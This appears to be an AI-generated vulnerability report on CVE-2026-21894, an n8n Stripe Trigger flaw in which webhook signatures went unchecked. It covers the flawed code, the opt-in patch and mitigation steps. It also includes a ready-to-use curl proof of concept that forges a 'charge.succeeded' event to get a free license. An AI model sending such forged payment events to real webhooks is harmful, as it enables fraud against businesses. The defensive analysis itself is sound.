CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-21894
6.50.02%

Free Money Glitch: Bypassing Stripe Auth in n8n (CVE-2026-21894)

Alon Barad
Alon Barad
Software Engineer

Feb 24, 2026·5 min read·8 visits

PoC Available

Executive Summary (TL;DR)

n8n's Stripe Trigger node ignored the `stripe-signature` header, allowing unauthenticated attackers to forge payment events. Patching to 2.2.2 fixes the code, but the fix is opt-in: if you don't manually configure the signing secret, the system remains insecure.

In the world of 'low-code' automation, convenience often eats security for lunch. CVE-2026-21894 is a prime example: n8n, the popular workflow automation tool, failed to verify the cryptographic signatures of incoming Stripe webhooks. This meant that anyone with your webhook URL could effectively print money within your internal systems—triggering 'payment successful' workflows without ever spending a dime. While the patch fixes the code, the implementation leaves a gaping 'fail-open' hole that keeps lazy administrators vulnerable.

The Hook: Trust, but Don't Verify

Automation is the lifeblood of modern DevOps and FinOps. Tools like n8n allow developers to stitch together complex workflows—like 'When a user pays $50 on Stripe, add them to the database, send a Slack notification, and email them a license key.' It's magic. It's efficient. It's also terrifying if you think about the trust model.

In a secure webhook implementation, the receiver (n8n) must fundamentally distrust the sender. The internet is a noisy place, and endpoints are public. To solve this, providers like Stripe sign every request using a shared secret and an HMAC-SHA256 hash in the stripe-signature header. It is the digital equivalent of checking an ID badge before letting someone into the vault.

But for a long time, n8n didn't check the badge. It didn't even look at it. The Stripe Trigger node simply listened for a POST request, parsed the JSON, and executed the workflow. If the JSON said 'payment_intent.succeeded', n8n believed it. This vulnerability isn't a complex memory corruption or a race condition; it's a fundamental failure to implement the basic 'Hello World' of webhook security.

The Flaw: An Open Door Policy

The root cause here is Authentication Bypass by Spoofing (CWE-290). In versions 0.150.0 through 2.2.1, the StripeTrigger.node.ts file acted like a gullible doorman. When an HTTP POST request arrived, the code immediately extracted the body data and matched the type field against the configured events.

> [!WARNING] > The system generated a webhook secret during setup, but never actually used it to validate incoming traffic.

This is a classic logic error. The developer likely assumed that the obscurity of the webhook URL (which usually contains a UUID) was sufficient security. While a UUID is hard to guess (High Attack Complexity), it is not a security control. URLs leak. They appear in browser history, proxy logs, and accidental screenshots. Relying on a hidden URL to protect financial logic is like hiding your house key under the doormat and assuming burglars won't look there.

The Code: The Smoking Gun

Let's look at the anatomy of the failure. In the vulnerable versions, the execution flow was linear and naive. There was zero conditional logic checking headers.

The Vulnerable Logic (Pseudo-code):

async webhook(this: IWebhookFunctions): Promise<IWebhookResponseData> {
    // 1. Get the body
    const bodyData = this.getBodyData();
    
    // 2. Trust the body blindly
    const eventType = bodyData.type;
    
    // 3. Trigger the workflow
    return {
        workflowData: [this.helpers.returnJsonArray(bodyData)],
    };
}

The Fix (Commit a61a5991): The patch introduced a helper function verifySignature in StripeTriggerHelpers.ts. This function finally implements the necessary cryptography. It parses the stripe-signature header, extracts the timestamp t and the signature v1, and computes the HMAC.

// The new check
const header = this.getHeader('stripe-signature');
if (!verifySignature(body, header, secret)) {
    // 401 Unauthorized - The door is shut
    res.status(401).end();
    return;
}

However, there is a massive catch in the patch logic. To maintain backward compatibility, the developers implemented a "fail-open" check:

if (!credential?.signatureSecret) {
    return true; // <--- LOOK AT THIS
}

If the user updates the software but forgets to go into the n8n UI and paste their Stripe Signing Secret into the credential field, the function returns true, and the vulnerability persists. The code prefers usability over security, effectively making the patch opt-in.

The Exploit: Forging Financials

Exploiting this is trivially easy once you have the target URL. You don't need a compiler, you don't need shellcode, you just need curl.

Scenario: You are a disgruntled contractor who still has the n8n webhook URL from an old Slack message. The company uses n8n to provision software licenses when a Stripe payment clears.

The Attack Chain:

  1. Recon: Verify the webhook endpoint is live.
  2. Craft Payload: Create a JSON object that mimics a charge.succeeded event.
  3. Fire: Send the request. No headers required.
# The "Free License" Generator
curl -X POST https://n8n.victim-corp.internal/webhook/d34db33f-.... \
     -H "Content-Type: application/json" \
     -d '{
          "id": "evt_123456789",
          "object": "event",
          "type": "charge.succeeded",
          "data": {
            "object": {
              "id": "ch_1fakechargedata",
              "amount": 5000,
              "currency": "usd",
              "status": "succeeded",
              "customer": "cus_attacker_id"
            }
          }
        }'

The Result: n8n receives the JSON. It sees charge.succeeded. It runs the workflow. The workflow calls the 'Generate License' node. You get a $5,000 enterprise license for free. The finance team sees nothing in Stripe because the event never happened there.

The Fix: Patching the Hole

Mitigation here is a two-step process. If you stop at step one, you are still vulnerable.

  1. Upgrade the Binary: Update your n8n instance to version 2.2.2 or higher. This brings in the verifySignature code.

  2. Configure the Secret (CRITICAL):

    • Go to your Stripe Dashboard -> Developers -> Webhooks.
    • Reveal the Signing Secret (starts with whsec_...).
    • Go to n8n -> Credentials -> Stripe.
    • Paste the secret into the new "Webhook Signing Secret" field.

Without step 2, the if (!credential?.signatureSecret) check will pass, and you remain exposed to forged events. For security teams, this is a detection nightmare: legitimate traffic and forged traffic look identical on the wire unless you are inspecting the stripe-signature header validity yourself via a WAF.

Official Patches

n8nOfficial Pull Request merging the fix

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N
EPSS Probability
0.02%
Top 95% most exploited

Affected Systems

n8n workflow automation tool

Affected Versions Detail

Product
Affected Versions
Fixed Version
n8n
n8n
0.150.0 - 2.2.12.2.2
AttributeDetail
Attack VectorNetwork (AV:N)
Attack ComplexityHigh (AC:H)
CVSS6.5 (Medium)
CWECWE-290 (Auth Bypass by Spoofing)
ImpactIntegrity & Confidentiality
Fix StatusPatched (v2.2.2)

MITRE ATT&CK Mapping

T1566Phishing
Initial Access
T1190Exploit Public-Facing Application
Initial Access
T1534Internal Asset Access
Lateral Movement
CWE-290
Authentication Bypass by Spoofing

The application does not perform or incorrectly performs an authentication check to verify the identity of the user or entity who originated the request.

Known Exploits & Detection

ManualManual construction of JSON payloads using curl or Postman

Vulnerability Timeline

Fix committed by Shireen Missi
2025-12-22
GHSA-jf52-3f2h-h9j5 Published
2026-01-08
CVE-2026-21894 Assigned
2026-01-08

References & Sources

  • [1]GHSA-jf52-3f2h-h9j5
  • [2]NVD CVE-2026-21894

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.